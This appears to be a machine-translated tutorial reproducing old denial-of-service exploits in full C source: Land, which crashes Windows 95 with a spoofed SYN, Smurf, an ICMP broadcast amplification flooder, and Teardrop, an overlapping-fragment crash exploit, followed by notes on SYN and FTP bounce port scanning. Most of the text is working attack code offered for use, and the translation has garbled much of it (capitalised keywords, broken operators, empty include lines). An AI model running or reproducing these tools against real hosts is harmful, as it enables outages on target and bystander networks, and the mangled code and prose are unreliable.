Abstract
There are some old ones, which seem useless now, but they are all famous.
1 Land
Attack A Win95 machine. This is a vulnerability in Win95.
If you initiate a connection (SYN) on the same port, Win95 will crash.
/* Land. c by m3lt, FLC
Crashes a win95 box */
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
// The pseudo header used for TCP checksum
Struct pseudo-HDR
{
Struct in_addr saddr;
Struct in_addr daddr;
U_char zero;
U_char protocol;
U_short length;
Struct tcphdr tcpheader;
};
// Calculate IP checksum
U_short checksum (u_short * data, u_short length)
{
Register long value;
U_short I;
For (I = 0; I <(length> 1); I ++)
Value + = data [I];
If (length & 1) = 1)
Value + = (data [I] <8 );
Value = (value & 65535) + (value> 16 );
Return (~ Value );
}
Int main (int argc, char ** argv)
{
Struct sockaddr_in sin;
Struct hostent * hoste;
Int sock;
Char buffer [40];
Struct iphdr * ipheader = (struct iphdr *) buffer;
Struct tcphdr * tcpheader = (struct tcphdr *) (buffer + sizeof (struct iphdr ));
Struct pseudo-HDR pseudo header;
Fprintf (stderr, "land. c by m3lt, FLC \ n ");
If (argc <3)
{
Fprintf (stderr, "usage: % s IP port \ n", argv [0]);
Return (-1 );
}
Bzero (& sin, sizeof (struct sockaddr_in ));
Sin. sin_family = AF_INET;
If (hoste = gethostbyname (argv [1])! = NULL)
Bcopy (hoste-> h_addr, & sin. sin_addr, hoste-> h_length );
Else if (sin. sin_addr.s_addr = inet_addr (argv [1]) =-1)
{
Fprintf (stderr, "unknown host % s \ n", argv [1]);
Return (-1 );
}
If (sin. sin_port = htons (atoi (argv [2]) = 0)
{
Fprintf (stderr, "unknown port % s \ n", argv [2]);
Return (-1 );
}
// New SOCK-RAW to generate fake IP packets, which requires the root permission
If (sock = socket (AF_INET, so__raw, 255) =-1)
{
Fprintf (stderr, "couldn't allocate raw socket \ n ");
Return (-1 );
}
Bzero (& buffer, sizeof (struct iphdr) + sizeof (struct tcphdr ));
Ipheader-> version = 4;
Ipheader-> ihl = sizeof (struct iphdr)/4;
Ipheader-> tot_len = htons (sizeof (struct iphdr) + sizeof (struct tcphdr ));
Ipheader-> id = htons (0xF1C );
Ipheader-> ttl = 255;
Ipheader-> protocol = IP_TCP;
// The destination IP address and source IP address are the same
Ipheader-> saddr = sin. sin_addr.s_addr;
Ipheader-> daddr = sin. sin_addr.s_addr;
// The destination TCP port is the same as the source TCPIP Port
Tcpheader-> th_sport = sin. sin_port;
Tcpheader-> th_dport = sin. sin_port;
Tcpheader-> th_seq = htonl (0xF1C );
Tcpheader-> th_flags = TH_SYN;
Tcpheader-> th_off = sizeof (struct tcphdr)/4;
Tcpheader-> th_win = htons (2048 );
Bzero (& pseudo header, 12 + sizeof (struct tcphdr ));
Pseudo header. saddr. s_addr = sin. sin_addr.s_addr;
Pseudo header. daddr. s_addr = sin. sin_addr.s_addr;
Pseudo header. protocol = 6;
Pseudo header. length = htons (sizeof (struct tcphdr ));
Bcopy (char *) tcpheader, (char *) & pseudo header. tcpheader, sizeof (struct tcphdr ));
Tcpheader-> th_sum = checksum (u_short *) & pseudo header, 12 + sizeof (struct tcphdr ));
If (sendto (sock, buffer, sizeof (struct iphdr) + sizeof (struct tcphdr ),
0, (struct sockaddr *) & sin, sizeof (struct sockaddr_in) =-1)
{
Fprintf (stderr, "couldn't send packet \ n ");
Return (-1 );
}
Fprintf (stderr, "% s: % s landed \ n", argv [1], argv [2]);
Close (sock );
Return (0 );
}
2 Smurf
The smurf attack is very simple. It has some IP addresses (broadcast addresses) and sends some fake numbers.
An ICMP echo request causes a broadcast storm, which can make the victim host a counterfeit packet.
.
There are two types of victims: the middle device (bounce sites switch or router) and the disguised IP (those
All icmp echo packets are sent to it ). This attack relies on vrouters to convert a broadcast address into a broadcast subnet.
(For example, Ethernet, FF: FF). RFC allows this type of conversion, but it does not seem necessary today.
You can disable the layer-3 broadcast (IP) to layer-2 broadcast (Ethernet ).
However, the Smb server or NT needs remote broadcast to make the LAN know its existence, but the above configuration on the router will make this change
Impossible (when there is no WINS Server ).
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
Void banner (void );
Void usage (char *);
Void smurf (int, struct sockaddr_in, u_long, int );
Void ctrlc (int );
Unsigned short in_chksum (u_short *, int );
/* Stamp */
Char id [] = "$ Id smurf. c, v 4.0 1997/10/11 13:02:42 EST tfreak Exp $ ";
Int main (int argc, char * argv [])
{
Struct sockaddr_in sin;
Struct hostent * he;
FILE * bcastfile;
Int I, sock, bcast, delay, num, pktsize, cycle = 0, x;
Char buf [32], ** bcastaddr = malloc (8192 );
Banner ();
Signal (SIGINT, ctrlc );
If (argc <6) usage (argv [0]);
If (he = gethostbyname (argv [1]) = NULL ){
Perror ("resolving source host ");
Exit (-1 );
}
Memcpy (caddr_t) & sin. sin_addr, he-> h_addr, he-> h_length );
Sin. sin_family = AF_INET;
Sin. sin_port = htons (0 );
Num = atoi (argv [3]);
Delay = atoi (argv [4]);
Pktsize = atoi (argv [5]);
If (bcastfile = fopen (argv [2], "r") = NULL ){
Perror ("opening bcast file ");
Exit (-1 );
}
X = 0;
While (! Feof (bcastfile )){
Fgets (buf, 32, bcastfile );
If (buf [0] = '#' | buf [0] = '\ n' |! Isdigit (buf [0]) continue;
For (I = 0; I <strlen (buf); I ++)
If (buf [I] = '\ n') buf [I] =' \ 0 ';
Bcastaddr [x] = malloc (32 );
Strcpy (bcastaddr [x], buf );
X ++;
}
Bcastaddr [x] = 0x0;
Fclose (bcastfile );
If (x = 0 ){
Fprintf (stderr, "ERROR: no broadcasts found in file % s \ n", argv [2]);
Exit (-1 );
}
If (pktsize & gt; 1024 ){
Fprintf (stderr, "ERROR: packet size must be <1024 \ n ");
Exit (-1 );
}
If (sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW) <0 ){
Perror ("getting socket ");
Exit (-1 );
}
Setsockopt (sock, SOL_SOCKET, SO_BROADCAST, (char *) & bcast, sizeof (bcast ));
Printf ("Flooding % s (. = 25 outgoing packets) \ n", argv [1]);
For (I = 0; I <num |! Num; I ++ ){
If (! (I % 25) {printf ("."); fflush (stdout );}
Smurf (sock, sin, inet_addr (bcastaddr [cycle]), pktsize );
Cycle ++;
If (bcastaddr [cycle] = 0x0) cycle = 0;
Usleep (delay );
}
Puts ("\ n ");
Return 0;
}
Void banner (void)
{
Puts ("\ nsmurf. c v4.0 by TFreak \ n ");
}
Void usage (char * prog)
{
Fprintf (stderr, "usage: % s"
"\ N"
"Target = address to hit \ n"
"Bcast file = file to read broadcast addresses from \ n"
"Num packets = number of packets to send (0 = flood) \ n"
"Packet delay = wait between each packet (in MS) \ n"
"Packet size = size of packet (<1024) \ n", prog );
Exit (-1 );
}
Void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
Struct iphdr * ip address;
Struct icmphdr * icmp;
Char * packet;
Packet = malloc (sizeof (struct iphdr) + sizeof (struct icmphdr) + psize );
Ip = (struct iphdr *) packet;
Icmp = (struct icmphdr *) (packet + sizeof (struct iphdr ));
Memset (packet, 0, sizeof (struct iphdr) + sizeof (struct icmphdr) + psize );
Ip-> tot_len = htons (sizeof (struct iphdr) + sizeof (struct icmphdr) + psize );
Ip-> ihl = 5;
Ip-> version = 4;
Ip-> ttl = 255;
Ip-> tos = 0;
Ip-> frag_off = 0;
Ip-> protocol = IPPROTO_ICMP;
Ip-> saddr = sin. sin_addr.s_addr;
Ip-> daddr = dest;
Ip-> check = in_chksum (u_short *) ip, sizeof (struct iphdr ));
Icmp-> type = 8;
Icmp-> code = 0;
Icmp-> checksum = in_chksum (u_short *) icmp, sizeof (struct icmphdr) + psize );
Sendto (sock, packet, sizeof (struct iphdr) + sizeof (struct icmphdr) + psize,
0, (struct sockaddr *) & sin, sizeof (struct sockaddr ));
Free (packet);/* free willy! */
}
Void ctrlc (int ignored)
{
Puts ("\ nDone! \ N ");
Exit (1 );
}
Unsigned short in_chksum (u_short * addr, int len)
{
Register int nleft = len;
Register int sum = 0;
U_short answer = 0;
While (nleft> 1 ){
Sum + = * addr ++;
Nleft-= 2;
}
If (nleft = 1 ){
* (U_char *) (& answer) = * (u_char *) addr;
Sum + = answer;
}
Sum = (sum> 16) + (sum + 0 xffff );
Sum + = (sum> 16 );
Answer = ~ Sum;
Return (answer );
}
3 Teardrop
There is a serious vulnerability in the Linux IP package reorganization process.
In ip_glue:
Reorganize the IP package in a loop:
Fp = qp-> fragments;
While (fp! = NULL)
{
If (count + fp-> len> skb-> len)
{
Error_to_big;
}
Memcpy (ptr + fp-> offset), fp-> ptr, fp-> len );
Count + = fp-> len;
Fp = fp-> next;
}
Here we only check the case that the length is too large, but not the case that the length is too small,
For example, when fp-> len <0, the kernel will copy too many things.
The end position of the calculated part:
End = offset + ntohs (iph-> tot_len)-ihl;
When the offset of the current package is found to be in the middle of the previous package (that is, the two packages overlap)
Yes:
If (prev! = NULL & offset <prev-> end)
{
I = prev-> end-offset;
Offset + = I;/* ptr into datax */
Ptr + = I;/* ptr into fragment data */
}
/* Fill in the structure .*/
Fp-> offset = offset;
Fp-> end = end;
Fp-> len = end-offset; // fp-> len is a signed integer.
This vulnerability is described as follows:
First shard: mf = 1 offset = 0 payload = 20
Enemy's two shards: mf = 0 offset = 10 payload = 9
In this way, the end of the first Shard is 0 + 20.
Offset = 0
In this way, the end of the second Shard is 9 + 10 = 19.
Offset = offset + (20-offset) = 20
Fp-> len = 19-20 =-1;
Therefore, memcpy will copy too much data and cause a crash.
/*
* Copyright (c) 1997 route | daemon9 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0/Windows 95 (others ?)
*
* Based off of: flip. c by klepto
* Compiles on: Linux, * BSD *
*
* Gcc-O2 teardrop. c-o teardrop
* OR
* Gcc-O2 teardrop. c-o teardrop-DSTRANGE_BSD_BYTE_ORDERING_THING
*/
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD <2.1, all FreeBSD and netBSD, BSDi <3.0 */
# Define FIX (n)
# Else/* OpenBSD 2.1, all Linux */
# Define FIX (n) htons (n)
# Endif/* STRANGE_BSD_BYTE_ORDERING_THING */
# Define IP_MF 0x2000/* More IP fragment en route */
# Define IPH 0x14/* IP header size */
# Define UDPH 0x8/* UDP header size */
# Define PADDING 0x1c/* datemediframe padding for first packet */
# Define MAGIC 0x3/* Magic Fragment Constant (tm). shocould be 2 or 3 */
# Define COUNT 0x1/* Linux dies with 1, NT is more stalwart and can
* Withstand maybe 5 or 10 sometimes... Experiment.
*/
Void usage (u_char *);
U_long name_resolve (u_char *);
U_short in_cksum (u_short *, int );
Void send_frags (int, u_long, u_long, u_short, u_short );
Int main (int argc, char ** argv)
{
Int one = 1,
Count = 0,
I,
Rip_sock;
U_long src_ip = 0, dst_ip = 0;
U_short src_prt = 0, dst_prt = 0;
Struct in_addr addr;
Fprintf (stderr, "teardrop route | daemon9 \ n ");
// Create SOCK_RAW
If (rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW) <0)
{
Perror ("raw socket ");
Exit (1 );
}
// The system processes the IP address checksum.
If (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) & one, sizeof (one ))
<0)
{
Perror ("IP_HDRINCL ");
Exit (1 );
}
If (argc <3) usage (argv [0]);
If (! (Src_ip = name_resolve (argv [1]) |! (Dst_ip = name_resolve (argv [2])
{
Fprintf (stderr, "What the hell kind of IP address is that? \ N ");
Exit (1 );
}
While (I = getopt (argc, argv, "s: t: n :"))! = EOF)
{
Switch (I)
{
Case's ':/* source port (shocould be emphemeral )*/
Src_prt = (u_short) atoi (optarg );
Break;
Case 'T':/* dest port (DNS, anyone ?) */
Dst_prt = (u_short) atoi (optarg );
Break;
Case 'N':/* number to send */
Count = atoi (optarg );
Break;
Default:
Usage (argv [0]);
Break;/* NOTREACHED */
}
}
Srandom (unsigned) (time (time_t) 0 )));
If (! Src_prt) src_prt = (random () % 0 xffff );
If (! Dst_prt) dst_prt = (random () % 0 xffff );
If (! Count) count = COUNT;
Fprintf (stderr, "Death on flaxen wings: \ n ");
Addr. s_addr = src_ip;
Fprintf (stderr, "From: % 15 s. % 5d \ n", inet_ntoa (addr), src_prt );
Addr. s_addr = dst_ip;
Fprintf (stderr, "To: % 15 s. % 5d \ n", inet_ntoa (addr), dst_prt );
Fprintf (stderr, "Amt: % 5d \ n", count );
Fprintf (stderr ,"[");
For (I = 0; I <count; I ++)
{
Send_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt );
Fprintf (stderr, "b00m ");
Usleep (500 );
}
Fprintf (stderr, "] \ n ");
Return (0 );
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* Independent way of attaching ing network packets that does not rely on any
* The diverse O/S specific nomenclature hinderances (well, linux vs. BSD ).
*/
Void send_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
U_short dst_prt)
{
U_char * packet = NULL, * p_ptr = NULL;/* packet pointers */
U_char byte;/* a byte */
Struct sockaddr_in sin;/* socket protocol structure */
Sin. sin_family = AF_INET;
Sin. sin_port = src_prt;
Sin. sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* Of our packet, and then fill it with zeros.
*/
Packet = (u_char *) malloc (IPH + UDPH + PADDING );
P_ptr = packet;
Bzero (u_char *) p_ptr, IPH + UDPH + PADDING );
Byte = 0x45;/* IP version and header length */
Memcpy (p_ptr, & byte, sizeof (u_char ));
P_ptr + = 2;/* ip tos (skipped )*/
* (U_short *) p_ptr) = FIX (IPH + UDPH + PADDING);/* total length */
P_ptr + = 2;
* (U_short *) p_ptr) = htons (242);/* IP id */
P_ptr + = 2;
* (U_short *) p_ptr) | = FIX (IP_MF);/* IP frag flags and offset */
P_ptr + = 2;
* (U_short *) p_ptr) = 0x40;/* ip ttl */
Byte = IPPROTO_UDP;
Memcpy (p_ptr + 1, & byte, sizeof (u_char ));
P_ptr + = 4;/* IP checksum filled in by kernel */
* (U_long *) p_ptr) = src_ip;/* IP source address */
P_ptr + = 4;
* (U_long *) p_ptr) = dst_ip;/* IP destination address */
P_ptr + = 4;
* (U_short *) p_ptr) = htons (src_prt);/* UDP source port */
P_ptr + = 2;
* (U_short *) p_ptr) = htons (dst_prt);/* UDP destination port */
P_ptr + = 2;
* (U_short *) p_ptr) = htons (8 + PADDING);/* UDP total length */
If (sendto (sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *) & sin,
Sizeof (struct sockaddr) =-1)
{
Perror ("\ nsendto ");
Free (packet );
Exit (1 );
}
/* We set the fragment offset to be inside of the previous packet's
* Payload (it overlaps inside the previous packet) but do not include
* Enough payload to cover complete the datax. Just the header will
* Do, but to crash NT/95 machines, a bit larger of packet seems to work
* Better.
*/
P_ptr = & packet [2];/* IP total length is 2 bytes into the header */
* (U_short *) p_ptr) = FIX (IPH + MAGIC + 1 );
P_ptr + = 4;/* IP offset is 6 bytes into the header */
* (U_short *) p_ptr) = FIX (MAGIC );
If (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) & sin,
Sizeof (struct sockaddr) =-1)
{
Perror ("\ nsendto ");
Free (packet );
Exit (1 );
}
Free (packet );
}
U_long name_resolve (u_char * host_name)
{
Struct in_addr addr;
Struct hostent * host_ent;
If (addr. s_addr = inet_addr (host_name) =-1)
{
If (! (Host_ent = gethostbyname (host_name) return (0 );
Bcopy (host_ent-> h_addr, (char *) & addr. s_addr, host_ent-> h_length );
}
Return (addr. s_addr );
}
Void usage (u_char * name)
{
Fprintf (stderr,
"% S src_ip dst_ip [-s src_prt] [-t dst_prt] [-n how_many] \ n ",
Name );
Exit (0 );
}
4. Portscan and Antiportscan
There are two main methods for Portscan:
(1) Half-open (semi-open)
However, a host receives the (SYN) sent to a port (TCP ),
If there is a service on this port, (SYN + ASK) is returned, otherwise (RST) is returned ).
(2) FTP flood
The FTP port command can be used as follows:
Select an FTP server and link the port command to the target machine.
If the value is correct, the target port has a service. If an error is returned
This port has no service.
Telnet 192.168.1.13 21
Trying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ [BETA-16] (1)
Thu May 7 23:18:05 EDT 1998) ready.
User anonymous
331 Guest login OK, send your complete e-mail address as password.
Pass aa@aa.aa
230 Guest login OK, access restrictions apply.
Port a, B, c, d, p1, p2 // a. B. c. d is the target port. p1 p2 is the target port.
150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
// This port is not active
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
// This port is active
However, some FTP servers prohibit you from affecting other addresses by using data connections.
The above two methods are common, but there are some special methods for individual systems.
If some systems receive packets, the following processing will be performed:
Indicates the response of the active port. The response of the inactive port.
SYN | ack rst or Nothing
SYN | fin ack or SYN | ACK * RST
ACK Nothing RST
0 flag Nothing RST
You 'd better give it a try.
Antiport
Generally, it calls sd = socket (PF_INET, SOCK_RAW, 6) and then keeps reading,
If you find that a host keeps sending (SYN) packets, but the connection is not completed, you can recognize
Set it to do portscan for you.
Notes:
The early portscan program was honestly connected to you one by one (three handshakes ),
However, some antiscan servers on a port that is not commonly used, and they are considered to be connected.
Scan to it.